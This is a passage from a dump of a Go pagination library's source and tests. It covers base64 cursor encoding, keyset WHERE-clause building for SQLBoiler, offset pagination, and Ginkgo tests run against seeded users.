github.com/yusufpapurcu/wmi v1.2.4 // indirect 88 | go.opentelemetry.io/auto/sdk v1.1.0 // indirect 89 | go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.49.0 // indirect 90 | go.opentelemetry.io/otel v1.37.0 // indirect 91 | go.opentelemetry.io/otel/metric v1.37.0 // indirect 92 | go.opentelemetry.io/otel/sdk v1.37.0 // indirect 93 | go.opentelemetry.io/otel/trace v1.37.0 // indirect 94 | go.yaml.in/yaml/v3 v3.0.4 // indirect 95 | golang.org/x/crypto v0.46.0 // indirect 96 | golang.org/x/mod v0.31.0 // indirect 97 | golang.org/x/net v0.48.0 // indirect 98 | golang.org/x/sync v0.19.0 // indirect 99 | golang.org/x/sys v0.39.0 // indirect 100 | golang.org/x/text v0.32.0 // indirect 101 | golang.org/x/tools v0.40.0 // indirect 102 | golang.org/x/xerrors v0.0.0-20220609144429-65e65417b02f // indirect 103 | google.golang.org/grpc v1.75.1 // indirect 104 | google.golang.org/protobuf v1.36.10 // indirect 105 | gopkg.in/ini.v1 v1.67.0 // indirect 106 | gopkg.in/yaml.v2 v2.4.0 // indirect 107 | gopkg.in/yaml.v3 v3.0.1 // indirect 108 | ) 109 | -------------------------------------------------------------------------------- /cursor/encoder.go: -------------------------------------------------------------------------------- 1 | // Package cursor provides high-performance cursor-based (keyset) pagination. 2 | // 3 | // Cursor pagination uses the values of sort columns to efficiently navigate 4 | // large datasets without the performance degradation of offset pagination. 5 | // It's ideal for infinite scroll, real-time feeds, and APIs with millions of records. 6 | // 7 | // Key Features: 8 | // - O(1) complexity regardless of page depth 9 | // - Consistent performance with proper indexes 10 | // - Stable results during concurrent writes 11 | // - Opaque cursor encoding (Base64 JSON) 12 | // - Composite key support for deterministic ordering 13 | // 14 | // Example usage: 15 | // 16 | // encoder := cursor.NewCompositeCursorEncoder(func(u *models.User) map[string]any { 17 | // return map[string]any{ 18 | // "created_at": u.CreatedAt, 19 | // "id": u.ID, 20 | // } 21 | // }) 22 | // 23 | // fetcher := sqlboiler.NewFetcher(..., sqlboiler.CursorToQueryMods) 24 | // 25 | // users, _ := fetcher.Fetch(ctx, paging.FetchParams{...}) 26 | // paginator := cursor.New(pageArgs, encoder, users) 27 | // conn, _ := cursor.BuildConnection(paginator, users, encoder, toDomainUser) 28 | // 29 | // Cursor Format: 30 | // 31 | // Cursors are base64-encoded JSON objects containing column values: 32 | // {"created_at":"2024-01-01T00:00:00Z","id":"abc-123"} 33 | // → eyJjcmVhdGVkX2F0IjoiMjAyNC0wMS0wMVQwMDowMDowMFoiLCJpZCI6ImFiYy0xMjMifQ== 34 | // 35 | // Performance: 36 | // 37 | // Requires a composite index on sort columns: 38 | // CREATE INDEX idx ON table(col1 DESC, col2 DESC); 39 | // 40 | // With proper indexing, all pages have similar performance (~5ms per page). 41 | // 42 | // Limitations: 43 | // - Forward pagination only (After + First). Backward pagination planned for Phase 2.5. 44 | // - Requires unique sort key (typically add ID as final column) 45 | // - PostgreSQL tuple comparison syntax (MySQL requires expanded form) 46 | // - Eventually consistent (cursors may become stale if data changes) 47 | package cursor 48 | 49 | import ( 50 | "encoding/base64" 51 | "encoding/json" 52 | 53 | "github.com/nrfta/paging-go/v2" 54 | ) 55 | 56 | // CompositeCursorEncoder encodes multiple column values into an opaque cursor string. 57 | // It implements the paging.CursorEncoder interface for composite key pagination. 58 | // 59 | // The encoder uses an extractor function to extract the relevant column values 60 | // from each item, then encodes them as base64-encoded JSON. 61 | // 62 | // Type parameter T is the item type (e.g., *models.User). 63 | type CompositeCursorEncoder[T any] struct { 64 | // extractor extracts the sort column values from an item. 65 | // The returned map should contain all columns used in ORDER BY. 66 | // 67 | // Example for sorting by (created_at DESC, id DESC): 68 | // func(u *models.User) map[string]any { 69 | // return map[string]any{ 70 | // "created_at": u.CreatedAt, 71 | // "id": u.ID, 72 | // } 73 | // } 74 | extractor func(T) map[string]any 75 | } 76 | 77 | // NewCompositeCursorEncoder creates a cursor encoder for composite key pagination. 78 | // 79 | // The extractor function should return a map of column names to their values 80 | // for the columns used in sorting. These values will be encoded into the cursor 81 | // and used to resume pagination. 82 | // 83 | // Example: 84 | // 85 | // encoder := cursor.NewCompositeCursorEncoder(func(u *models.User) map[string]any { 86 | // return map[string]any{ 87 | // "created_at": u.CreatedAt, 88 | // "id": u.ID, 89 | // } 90 | // }) 91 | func NewCompositeCursorEncoder[T any](extractor func(T) map[string]any) paging.CursorEncoder[T] { 92 | return &CompositeCursorEncoder[T]{ 93 | extractor: extractor, 94 | } 95 | } 96 | 97 | // Encode converts an item into an opaque cursor string. 98 | // The cursor encodes the sort column values as base64-encoded JSON. 99 | // 100 | // Returns nil if the item has no values or if encoding fails. 101 | func (e *CompositeCursorEncoder[T]) Encode(item T) (*string, error) { 102 | // Extract column values from the item 103 | values := e.extractor(item) 104 | if len(values) == 0 { 105 | return nil, nil 106 | } 107 | 108 | // Marshal values to JSON 109 | data, err := json.Marshal(values) 110 | if err != nil { 111 | return nil, nil // Gracefully return nil on error 112 | } 113 | 114 | // Base64 encode the JSON 115 | encoded := base64.URLEncoding.EncodeToString(data) 116 | return &encoded, nil 117 | } 118 | 119 | // Decode extracts cursor position from an opaque cursor string. 120 | // 121 | // The cursor is expected to be a base64-encoded JSON object containing 122 | // column name/value pairs. 123 | // 124 | // Returns nil if the cursor is empty, invalid, or cannot be decoded. 125 | // This graceful degradation ensures invalid cursors result in "start from beginning" behavior. 126 | func (e *CompositeCursorEncoder[T]) Decode(cursor string) (*paging.CursorPosition, error) { 127 | // Handle empty cursor 128 | if cursor == "" { 129 | return nil, nil 130 | } 131 | 132 | // Base64 decode 133 | decoded, err := base64.URLEncoding.DecodeString(cursor) 134 | if err != nil { 135 | // Gracefully return nil for invalid base64 136 | return nil, nil 137 | } 138 | 139 | // JSON unmarshal 140 | var values map[string]any 141 | if err := json.Unmarshal(decoded, &values); err != nil { 142 | // Gracefully return nil for invalid JSON 143 | return nil, nil 144 | } 145 | 146 | // Return nil if no values 147 | if len(values) == 0 { 148 | return nil, nil 149 | } 150 | 151 | return &paging.CursorPosition{ 152 | Values: values, 153 | }, nil 154 | } 155 | -------------------------------------------------------------------------------- /sqlboiler/cursor.go: -------------------------------------------------------------------------------- 1 | package sqlboiler 2 | 3 | import ( 4 | "fmt" 5 | "strings" 6 | "time" 7 | 8 | "github.com/aarondl/sqlboiler/v4/queries" 9 | "github.com/aarondl/sqlboiler/v4/queries/qm" 10 | "github.com/nrfta/paging-go/v2" 11 | ) 12 | 13 | // CursorToQueryMods converts FetchParams into SQLBoiler query mods for cursor-based pagination. 14 | // This is the strategy-specific query builder for keyset pagination. 15 | // 16 | // The conversion follows these rules: 17 | // - Cursor → qm.Where("(col1, col2) OP (?, ?)", val1, val2) using tuple comparison 18 | // - Limit → qm.Limit(n) 19 | // - OrderBy → qm.OrderBy("col1 DESC, col2 DESC") 20 | // 21 | // This function is used by cursor.Paginator when creating a SQLBoiler fetcher. 22 | // 23 | // Example: 24 | // 25 | // fetcher := sqlboiler.NewFetcher( 26 | // queryFunc, 27 | // countFunc, 28 | // sqlboiler.CursorToQueryMods, // ← Use cursor strategy 29 | // ) 30 | // 31 | // Requirements: 32 | // - PostgreSQL database (for tuple comparison syntax) 33 | // - Composite index on sort columns: CREATE INDEX idx ON table(col1 DESC, col2 DESC) 34 | func CursorToQueryMods(params paging.FetchParams) []qm.QueryMod { 35 | mods := []qm.QueryMod{} 36 | 37 | // Add WHERE clause for cursor position (keyset comparison) 38 | if params.Cursor != nil && len(params.OrderBy) > 0 { 39 | whereClause, args := buildKeysetWhereClause(params.Cursor, params.OrderBy) 40 | if whereClause != "" { 41 | // Use raw SQL query mod to inject WHERE clause directly 42 | // This bypasses qm.Where's tuple comparison limitations 43 | mods = append(mods, rawWhereClause(whereClause, args)) 44 | } 45 | } 46 | 47 | // Add LIMIT 48 | if params.Limit > 0 { 49 | mods = append(mods, qm.Limit(params.Limit)) 50 | } 51 | 52 | // Add ORDER BY 53 | if len(params.OrderBy) > 0 { 54 | mods = append(mods, qm.OrderBy(buildOrderByClause(params.OrderBy))) 55 | } 56 | 57 | return mods 58 | } 59 | 60 | // buildKeysetWhereClause builds a WHERE clause for keyset pagination using expanded comparison. 61 | // 62 | // Uses expanded comparison form which is compatible with SQLBoiler: 63 | // 64 | // DESC order: col1 < ? OR (col1 = ? AND col2 < ?) 65 | // ASC order: col1 > ? OR (col1 = ? AND col2 > ?) 66 | // 67 | // The operator is determined by the sort direction: 68 | // - DESC: use < (get records BEFORE cursor) 69 | // - ASC: use > (get records AFTER cursor) 70 | // 71 | // Returns empty string if cursor is invalid or missing required columns. 72 | func buildKeysetWhereClause(cursor *paging.CursorPosition, orderBy []paging.Sort) (string, []interface{}) { 73 | if cursor == nil || len(cursor.Values) == 0 || len(orderBy) == 0 { 74 | return "", nil 75 | } 76 | 77 | // Determine comparison operator based on sort direction 78 | operator := ">" 79 | if orderBy[0].Desc { 80 | operator = "<" 81 | } 82 | 83 | // Build expanded comparison: col1 OP ? OR (col1 = ? AND col2 OP ?) 84 | var parts []string 85 | var args []interface{} 86 | 87 | for i, order := range orderBy { 88 | // Get value from cursor 89 | val, exists := cursor.Values[order.Column] 90 | if !exists { 91 | // If cursor doesn't have this column, skip WHERE clause 92 | return "", nil 93 | } 94 | 95 | if i == 0 { 96 | // First column: simple comparison 97 | parts = append(parts, fmt.Sprintf("%s %s ?", order.Column, operator)) 98 | args = append(args, convertValueForSQL(val)) 99 | } else { 100 | // Build equality checks for all previous columns 101 | var equalityParts []string 102 | for j := 0; j < i; j++ { 103 | prevOrder := orderBy[j] 104 | prevVal, _ := cursor.Values[prevOrder.Column] 105 | equalityParts = append(equalityParts, fmt.Sprintf("%s = ?", prevOrder.Column)) 106 | args = append(args, convertValueForSQL(prevVal)) 107 | } 108 | 109 | // Add comparison for current column 110 | part := fmt.Sprintf("(%s AND %s %s ?)", 111 | strings.Join(equalityParts, " AND "), 112 | order.Column, 113 | operator, 114 | ) 115 | parts = append(parts, part) 116 | args = append(args, convertValueForSQL(val)) 117 | } 118 | } 119 | 120 | // Join with OR and wrap in parentheses 121 | whereClause := "(" + strings.Join(parts, " OR ") + ")" 122 | 123 | return whereClause, args 124 | } 125 | 126 | // rawWhereClause creates a custom query mod that injects a WHERE clause directly. 127 | // This is necessary because qm.Where doesn't properly handle tuple comparisons. 128 | // 129 | // The function creates a query mod that: 130 | // 1. Adds the WHERE clause to the query's WHERE buffer 131 | // 2. Appends the arguments to the query's argument list 132 | // 133 | // This approach bypasses SQLBoiler's WHERE clause processing and injects 134 | // the clause directly into the final SQL, which allows tuple comparisons to work. 135 | func rawWhereClause(clause string, args []interface{}) qm.QueryMod { 136 | return qm.QueryModFunc(func(q *queries.Query) { 137 | queries.AppendWhere(q, clause, args...) 138 | }) 139 | } 140 | 141 | // convertValueForSQL converts JSON-decoded values to proper SQL types. 142 | // JSON unmarshaling can change types (e.g., int to float64), so we normalize them here. 143 | func convertValueForSQL(val any) interface{} { 144 | switch v := val.(type) { 145 | case string: 146 | // Try to parse as time.Time if it's in RFC3339 format 147 | if t, err := time.Parse(time.RFC3339, v); err == nil { 148 | return t 149 | } 150 | return v 151 | 152 | case float64, int, int64, bool, time.Time, nil: 153 | // Pass through types that PostgreSQL handles natively 154 | return v 155 | 156 | default: 157 | // For unknown types, convert to string 158 | return fmt.Sprintf("%v", v) 159 | } 160 | } 161 | -------------------------------------------------------------------------------- /sqlboiler/offset_test.go: -------------------------------------------------------------------------------- 1 | package sqlboiler_test 2 | 3 | import ( 4 | "github.com/nrfta/paging-go/v2" 5 | "github.com/nrfta/paging-go/v2/sqlboiler" 6 | . "github.com/onsi/ginkgo/v2" 7 | . "github.com/onsi/gomega" 8 | ) 9 | 10 | var _ = Describe("OffsetToQueryMods", func() { 11 | Describe("Basic Functionality", func() { 12 | It("should return empty mods for empty params", func() { 13 | params := paging.FetchParams{} 14 | mods := sqlboiler.OffsetToQueryMods(params) 15 | 16 | Expect(mods).To(HaveLen(0)) 17 | }) 18 | 19 | It("should add OFFSET mod", func() { 20 | params := paging.FetchParams{ 21 | Offset: 20, 22 | } 23 | mods := sqlboiler.OffsetToQueryMods(params) 24 | 25 | Expect(mods).To(HaveLen(1)) 26 | Expect(modTypeName(mods[0])).To(Equal("qm.offsetQueryMod")) 27 | }) 28 | 29 | It("should add LIMIT mod", func() { 30 | params := paging.FetchParams{ 31 | Limit: 10, 32 | } 33 | mods := sqlboiler.OffsetToQueryMods(params) 34 | 35 | Expect(mods).To(HaveLen(1)) 36 | Expect(modTypeName(mods[0])).To(Equal("qm.limitQueryMod")) 37 | }) 38 | 39 | It("should add ORDER BY mod", func() { 40 | params := paging.FetchParams{ 41 | OrderBy: []paging.Sort{ 42 | {Column: "created_at", Desc: true}, 43 | {Column: "id", Desc: true}, 44 | }, 45 | } 46 | mods := sqlboiler.OffsetToQueryMods(params) 47 | 48 | Expect(mods).To(HaveLen(1)) 49 | Expect(modTypeName(mods[0])).To(Equal("qm.orderByQueryMod")) 50 | }) 51 | 52 | It("should combine all mods together", func() { 53 | params := paging.FetchParams{ 54 | Offset: 20, 55 | Limit: 10, 56 | OrderBy: []paging.Sort{ 57 | {Column: "created_at", Desc: true}, 58 | {Column: "id", Desc: true}, 59 | }, 60 | } 61 | 62 | mods := sqlboiler.OffsetToQueryMods(params) 63 | 64 | Expect(mods).To(HaveLen(3)) 65 | Expect(modTypeName(mods[0])).To(Equal("qm.offsetQueryMod")) 66 | Expect(modTypeName(mods[1])).To(Equal("qm.limitQueryMod")) 67 | Expect(modTypeName(mods[2])).To(Equal("qm.orderByQueryMod")) 68 | }) 69 | }) 70 | 71 | Describe("Edge Cases", func() { 72 | It("should skip OFFSET when offset is 0", func() { 73 | params := paging.FetchParams{ 74 | Offset: 0, 75 | Limit: 10, 76 | } 77 | 78 | mods := sqlboiler.OffsetToQueryMods(params) 79 | 80 | Expect(mods).To(HaveLen(1)) 81 | Expect(modTypeName(mods[0])).To(Equal("qm.limitQueryMod")) 82 | }) 83 | 84 | It("should skip LIMIT when limit is 0", func() { 85 | params := paging.FetchParams{ 86 | Offset: 20, 87 | Limit: 0, 88 | } 89 | 90 | mods := sqlboiler.OffsetToQueryMods(params) 91 | 92 | Expect(mods).To(HaveLen(1)) 93 | Expect(modTypeName(mods[0])).To(Equal("qm.offsetQueryMod")) 94 | }) 95 | 96 | It("should handle empty OrderBy slice", func() { 97 | params := paging.FetchParams{ 98 | Offset: 20, 99 | Limit: 10, 100 | OrderBy: []paging.Sort{}, 101 | } 102 | 103 | mods := sqlboiler.OffsetToQueryMods(params) 104 | 105 | // Should only have OFFSET and LIMIT (no ORDER BY) 106 | Expect(mods).To(HaveLen(2)) 107 | }) 108 | 109 | It("should handle nil OrderBy", func() { 110 | params := paging.FetchParams{ 111 | Offset: 20, 112 | Limit: 10, 113 | OrderBy: nil, 114 | } 115 | 116 | mods := sqlboiler.OffsetToQueryMods(params) 117 | 118 | // Should only have OFFSET and LIMIT (no ORDER BY) 119 | Expect(mods).To(HaveLen(2)) 120 | }) 121 | }) 122 | 123 | Describe("ORDER BY Clause Formatting", func() { 124 | It("should format single column DESC", func() { 125 | params := paging.FetchParams{ 126 | Limit: 10, 127 | OrderBy: []paging.Sort{ 128 | {Column: "created_at", Desc: true}, 129 | }, 130 | } 131 | 132 | mods := sqlboiler.OffsetToQueryMods(params) 133 | 134 | Expect(mods).To(HaveLen(2)) 135 | Expect(modTypeName(mods[1])).To(Equal("qm.orderByQueryMod")) 136 | }) 137 | 138 | It("should format single column ASC (no DESC keyword)", func() { 139 | params := paging.FetchParams{ 140 | Limit: 10, 141 | OrderBy: []paging.Sort{ 142 | {Column: "name", Desc: false}, 143 | }, 144 | } 145 | 146 | mods := sqlboiler.OffsetToQueryMods(params) 147 | 148 | Expect(mods).To(HaveLen(2)) 149 | Expect(modTypeName(mods[1])).To(Equal("qm.orderByQueryMod")) 150 | }) 151 | 152 | It("should format multiple columns with mixed directions", func() { 153 | params := paging.FetchParams{ 154 | Limit: 10, 155 | OrderBy: []paging.Sort{ 156 | {Column: "created_at", Desc: true}, 157 | {Column: "name", Desc: false}, 158 | {Column: "id", Desc: true}, 159 | }, 160 | } 161 | 162 | mods := sqlboiler.OffsetToQueryMods(params) 163 | 164 | Expect(mods).To(HaveLen(2)) 165 | Expect(modTypeName(mods[1])).To(Equal("qm.orderByQueryMod")) 166 | }) 167 | 168 | It("should format three columns all DESC", func() { 169 | params := paging.FetchParams{ 170 | Limit: 10, 171 | OrderBy: []paging.Sort{ 172 | {Column: "created_at", Desc: true}, 173 | {Column: "updated_at", Desc: true}, 174 | {Column: "id", Desc: true}, 175 | }, 176 | } 177 | 178 | mods := sqlboiler.OffsetToQueryMods(params) 179 | 180 | Expect(mods).To(HaveLen(2)) 181 | Expect(modTypeName(mods[1])).To(Equal("qm.orderByQueryMod")) 182 | }) 183 | }) 184 | 185 | Describe("Typical Pagination Scenarios", func() { 186 | It("should handle first page (offset=0)", func() { 187 | params := paging.FetchParams{ 188 | Offset: 0, 189 | Limit: 10, 190 | OrderBy: []paging.Sort{ 191 | {Column: "created_at", Desc: true}, 192 | }, 193 | } 194 | 195 | mods := sqlboiler.OffsetToQueryMods(params) 196 | 197 | // First page: no OFFSET, only LIMIT and ORDER BY 198 | Expect(mods).To(HaveLen(2)) 199 | }) 200 | 201 | It("should handle second page (offset=10)", func() { 202 | params := paging.FetchParams{ 203 | Offset: 10, 204 | Limit: 10, 205 | OrderBy: []paging.Sort{ 206 | {Column: "created_at", Desc: true}, 207 | }, 208 | } 209 | 210 | mods := sqlboiler.OffsetToQueryMods(params) 211 | 212 | // Second page: OFFSET, LIMIT, and ORDER BY 213 | Expect(mods).To(HaveLen(3)) 214 | }) 215 | 216 | It("should handle large offset (offset=1000)", func() { 217 | params := paging.FetchParams{ 218 | Offset: 1000, 219 | Limit: 50, 220 | OrderBy: []paging.Sort{ 221 | {Column: "id", Desc: false}, 222 | }, 223 | } 224 | 225 | mods := sqlboiler.OffsetToQueryMods(params) 226 | 227 | // Large offset: OFFSET, LIMIT, and ORDER BY 228 | Expect(mods).To(HaveLen(3)) 229 | }) 230 | }) 231 | }) 232 | -------------------------------------------------------------------------------- /offset/paginator.go: -------------------------------------------------------------------------------- 1 | // Package offset provides offset-based pagination functionality. 2 | // 3 | // This package implements traditional offset/limit pagination with support for 4 | // sorting and cursor encoding. It implements the paging.Paginator[T] interface 5 | // and works with the Fetcher pattern for database abstraction. 6 | // 7 | // Example usage: 8 | // 9 | // fetcher := sqlboiler.NewFetcher(queryFunc, countFunc, sqlboiler.OffsetToQueryMods) 10 | // paginator := offset.New(fetcher) 11 | // result, err := paginator.Paginate(ctx, args, paging.WithMaxSize(100)) 12 | // conn, err := offset.BuildConnection(result, toDomainModel) 13 | package offset 14 | 15 | import ( 16 | "context" 17 | 18 | "github.com/nrfta/paging-go/v2" 19 | ) 20 | 21 | // PageArgs represents pagination arguments. 22 | // This is a subset of the main PageArgs type to avoid import cycles. 23 | // Implementations should provide the page size (First), cursor position (After), 24 | // and sorting configuration (SortBy). 25 | type PageArgs interface { 26 | GetFirst() *int 27 | GetAfter() *string 28 | GetSortBy() []paging.Sort 29 | } 30 | 31 | // Paginator implements paging.Paginator[T] for offset-based pagination. 32 | // It wraps a Fetcher[T] and handles limit/offset calculation, ordering, 33 | // and page metadata generation. 34 | type Paginator[T any] struct { 35 | fetcher paging.Fetcher[T] 36 | } 37 | 38 | // New creates an offset paginator that implements paging.Paginator[T]. 39 | // Takes a Fetcher[T] which handles database queries. 40 | // 41 | // The paginator is reusable across multiple requests - each Paginate() call 42 | // can have different page size limits. 43 | // 44 | // Example: 45 | // 46 | // fetcher := sqlboiler.NewFetcher(queryFunc, countFunc, sqlboiler.OffsetToQueryMods) 47 | // paginator := offset.New(fetcher) 48 | // result, err := paginator.Paginate(ctx, args, paging.WithMaxSize(100)) 49 | func New[T any](fetcher paging.Fetcher[T]) paging.Paginator[T] { 50 | return &Paginator[T]{fetcher: fetcher} 51 | } 52 | 53 | // Paginate executes offset-based pagination and returns a Page[T]. 54 | // 55 | // The method: 56 | // 1. Applies page size configuration from options (WithMaxSize, WithDefaultSize) 57 | // 2. Calculates offset from cursor 58 | // 3. Builds ORDER BY clause from sort directives 59 | // 4. Fetches total count 60 | // 5. Fetches items with limit/offset 61 | // 6. Returns Page[T] with items, PageInfo, and metadata 62 | // 63 | // Options: 64 | // - WithMaxSize(n): Cap page size to maximum of n 65 | // - WithDefaultSize(n): Use n as default when First is nil 66 | // 67 | // Example: 68 | // 69 | // result, err := paginator.Paginate(ctx, args, 70 | // paging.WithMaxSize(1000), 71 | // paging.WithDefaultSize(50), 72 | // ) 73 | func (p *Paginator[T]) Paginate( 74 | ctx context.Context, 75 | args *paging.PageArgs, 76 | opts ...paging.PaginateOption, 77 | ) (*paging.Page[T], error) { 78 | // Apply page size config from options 79 | pageConfig := paging.ApplyPaginateOptions(args, opts...) 80 | limit := pageConfig.EffectiveLimit(args) 81 | 82 | // Calculate offset from cursor 83 | offset := 0 84 | if args != nil && args.GetAfter() != nil { 85 | offset = DecodeCursor(args.GetAfter()) 86 | } 87 | 88 | // Build ORDER BY clause 89 | orderBy := buildOrderBy(args) 90 | 91 | // Get total count 92 | totalCount, err := p.fetcher.Count(ctx, paging.FetchParams{}) 93 | if err != nil { 94 | return nil, err 95 | } 96 | 97 | // Fetch items 98 | params := paging.FetchParams{ 99 | Limit: limit, 100 | Offset: offset, 101 | OrderBy: orderBy, 102 | } 103 | items, err := p.fetcher.Fetch(ctx, params) 104 | if err != nil { 105 | return nil, err 106 | } 107 | 108 | // Build PageInfo 109 | pageInfo := buildOffsetPageInfo(limit, totalCount, offset) 110 | 111 | return &paging.Page[T]{ 112 | Nodes: items, 113 | PageInfo: &pageInfo, 114 | Metadata: paging.Metadata{ 115 | Strategy: "offset", 116 | QueryTimeMs: 0, // TODO: track timing 117 | Offset: offset, 118 | }, 119 | }, nil 120 | } 121 | 122 | // buildOrderBy constructs the ORDER BY directives from PageArgs. 123 | // Defaults to "created_at" if no sort is specified. 124 | func buildOrderBy(args *paging.PageArgs) []paging.Sort { 125 | if args == nil || args.GetSortBy() == nil || len(args.GetSortBy()) == 0 { 126 | return []paging.Sort{{Column: "created_at", Desc: false}} 127 | } 128 | return args.GetSortBy() 129 | } 130 | 131 | // buildOffsetPageInfo creates PageInfo for offset-based pagination. 132 | // It calculates page boundaries and provides functions to query pagination state. 133 | // 134 | // The endOffset calculation ensures the last page cursor points to the start 135 | // of the final complete page of results. 136 | func buildOffsetPageInfo( 137 | pageSize int, 138 | totalCount int64, 139 | currentOffset int, 140 | ) paging.PageInfo { 141 | count := int(totalCount) 142 | endOffset := count - (count % pageSize) 143 | 144 | if endOffset == count { 145 | endOffset = count - pageSize 146 | } 147 | if endOffset < 0 { 148 | endOffset = 0 149 | } 150 | 151 | return paging.PageInfo{ 152 | TotalCount: func() (*int, error) { return &count, nil }, 153 | StartCursor: func() (*string, error) { return EncodeCursor(0), nil }, 154 | EndCursor: func() (*string, error) { return EncodeCursor(endOffset), nil }, 155 | HasNextPage: func() (bool, error) { return (currentOffset + pageSize) < count, nil }, 156 | HasPreviousPage: func() (bool, error) { return currentOffset > 0, nil }, 157 | } 158 | } 159 | 160 | // BuildConnection transforms a Page[From] to a Connection[To] for GraphQL. 161 | // It handles transformation from database models to domain models and generates 162 | // sequential offset-based cursors for each item. 163 | // 164 | // This function eliminates the manual boilerplate of building edges and nodes arrays. 165 | // 166 | // Type parameters: 167 | // - From: Source type (e.g., *models.User from SQLBoiler) 168 | // - To: Target type (e.g., *domain.User for GraphQL) 169 | // 170 | // Parameters: 171 | // - page: The Page[From] returned from Paginate() 172 | // - transform: Function that converts database model to domain model 173 | // 174 | // Returns a Connection with edges, nodes, and pageInfo populated. 175 | // 176 | // Example: 177 | // 178 | // result, _ := paginator.Paginate(ctx, args, paging.WithMaxSize(100)) 179 | // conn, _ := offset.BuildConnection(result, toDomainUser) 180 | func BuildConnection[From any, To any]( 181 | page *paging.Page[From], 182 | transform func(From) (To, error), 183 | ) (*paging.Connection[To], error) { 184 | // Get starting offset from page metadata 185 | // This allows correct cursor generation for pages beyond the first one 186 | startOffset := page.Metadata.Offset 187 | 188 | return paging.BuildConnection( 189 | page.Nodes, 190 | *page.PageInfo, 191 | func(i int, _ From) string { 192 | cursor := EncodeCursor(startOffset + i + 1) 193 | if cursor == nil { 194 | return "" 195 | } 196 | return *cursor 197 | }, 198 | transform, 199 | ) 200 | } 201 | -------------------------------------------------------------------------------- /tests/offset_integration_test.go: -------------------------------------------------------------------------------- 1 | package paging_test 2 | 3 | import ( 4 | "context" 5 | 6 | "github.com/aarondl/sqlboiler/v4/queries/qm" 7 | "github.com/nrfta/paging-go/v2" 8 | "github.com/nrfta/paging-go/v2/offset" 9 | "github.com/nrfta/paging-go/v2/sqlboiler" 10 | "github.com/nrfta/paging-go/v2/tests/models" 11 | . "github.com/onsi/ginkgo/v2" 12 | . "github.com/onsi/gomega" 13 | ) 14 | 15 | var _ = Describe("Offset Pagination Integration Tests", func() { 16 | var userIDs []string 17 | var userPaginator paging.Paginator[*models.User] 18 | 19 | // Helper to create a standard user fetcher with offset strategy 20 | createUserFetcher := func() paging.Fetcher[*models.User] { 21 | return sqlboiler.NewFetcher( 22 | func(ctx context.Context, mods ...qm.QueryMod) ([]*models.User, error) { 23 | return models.Users(mods...).All(ctx, container.DB) 24 | }, 25 | func(ctx context.Context, mods ...qm.QueryMod) (int64, error) { 26 | return models.Users(mods...).Count(ctx, container.DB) 27 | }, 28 | sqlboiler.OffsetToQueryMods, 29 | ) 30 | } 31 | 32 | BeforeEach(func() { 33 | // Clean tables before each test 34 | err := CleanupTables(ctx, container.DB) 35 | Expect(err).ToNot(HaveOccurred()) 36 | 37 | // Seed test data 38 | userIDs, err = SeedUsers(ctx, container.DB, 25) 39 | Expect(err).ToNot(HaveOccurred()) 40 | Expect(userIDs).To(HaveLen(25)) 41 | 42 | // Create paginator (reusable) 43 | fetcher := createUserFetcher() 44 | userPaginator = offset.New(fetcher) 45 | }) 46 | 47 | Describe("Basic Offset Pagination", func() { 48 | It("should paginate users with default page size using SQLBoiler", func() { 49 | // Create paginator (first page) 50 | first := 10 51 | pageArgs := paging.WithSortBy(&paging.PageArgs{ 52 | First: &first, 53 | }, "created_at", true) 54 | 55 | // Paginate 56 | page, err := userPaginator.Paginate(ctx, pageArgs) 57 | Expect(err).ToNot(HaveOccurred()) 58 | 59 | // Verify results 60 | Expect(page.Nodes).To(HaveLen(10)) 61 | Expect(page.Metadata.Strategy).To(Equal("offset")) 62 | 63 | // Verify PageInfo 64 | hasNext, err := page.PageInfo.HasNextPage() 65 | Expect(err).ToNot(HaveOccurred()) 66 | Expect(hasNext).To(BeTrue()) 67 | 68 | hasPrev, err := page.PageInfo.HasPreviousPage() 69 | Expect(err).ToNot(HaveOccurred()) 70 | Expect(hasPrev).To(BeFalse()) 71 | 72 | total, err := page.PageInfo.TotalCount() 73 | Expect(err).ToNot(HaveOccurred()) 74 | Expect(*total).To(Equal(25)) 75 | }) 76 | 77 | It("should paginate to second page", func() { 78 | // Create second page cursor 79 | first := 10 80 | cursor := offset.EncodeCursor(10) // After first 10 records 81 | pageArgs := paging.WithSortBy(&paging.PageArgs{ 82 | First: &first, 83 | After: cursor, 84 | }, "created_at", true) 85 | 86 | page, err := userPaginator.Paginate(ctx, pageArgs) 87 | Expect(err).ToNot(HaveOccurred()) 88 | 89 | // Verify 90 | Expect(page.Nodes).To(HaveLen(10)) 91 | 92 | // Still has next page (25 total, we're at 10-19) 93 | hasNext, _ := page.PageInfo.HasNextPage() 94 | Expect(hasNext).To(BeTrue()) 95 | 96 | hasPrev, _ := page.PageInfo.HasPreviousPage() 97 | Expect(hasPrev).To(BeTrue()) 98 | }) 99 | 100 | It("should handle last page correctly", func() { 101 | // Go to last page 102 | first := 10 103 | cursor := offset.EncodeCursor(20) // After 20 records, should get last 5 104 | pageArgs := paging.WithSortBy(&paging.PageArgs{ 105 | First: &first, 106 | After: cursor, 107 | }, "created_at", true) 108 | 109 | page, err := userPaginator.Paginate(ctx, pageArgs) 110 | Expect(err).ToNot(HaveOccurred()) 111 | 112 | // Last page has 5 items (25 total - 20 offset) 113 | Expect(page.Nodes).To(HaveLen(5)) 114 | 115 | // No next page 116 | hasNext, _ := page.PageInfo.HasNextPage() 117 | Expect(hasNext).To(BeFalse()) 118 | 119 | // Has previous page 120 | hasPrev, _ := page.PageInfo.HasPreviousPage() 121 | Expect(hasPrev).To(BeTrue()) 122 | }) 123 | }) 124 | 125 | Describe("Custom Sorting", func() { 126 | It("should sort by email ascending", func() { 127 | // Sort by email 128 | first := 5 129 | pageArgs := paging.WithSortBy(&paging.PageArgs{First: &first}, "email", false) 130 | 131 | page, err := userPaginator.Paginate(ctx, pageArgs) 132 | Expect(err).ToNot(HaveOccurred()) 133 | 134 | Expect(page.Nodes).To(HaveLen(5)) 135 | // Verify sorted order (user1@, user10@, user11@, ...) 136 | Expect(page.Nodes[0].Email).To(HaveSuffix("@example.com")) 137 | }) 138 | }) 139 | 140 | Describe("Large Dataset Performance", func() { 141 | It("should handle 100 users efficiently", func() { 142 | // Clean and seed larger dataset 143 | err := CleanupTables(ctx, container.DB) 144 | Expect(err).ToNot(HaveOccurred()) 145 | 146 | userIDs, err := SeedUsers(ctx, container.DB, 100) 147 | Expect(err).ToNot(HaveOccurred()) 148 | Expect(userIDs).To(HaveLen(100)) 149 | 150 | // Create new paginator for larger dataset 151 | fetcher := createUserFetcher() 152 | paginator := offset.New(fetcher) 153 | 154 | // Paginate through all pages 155 | 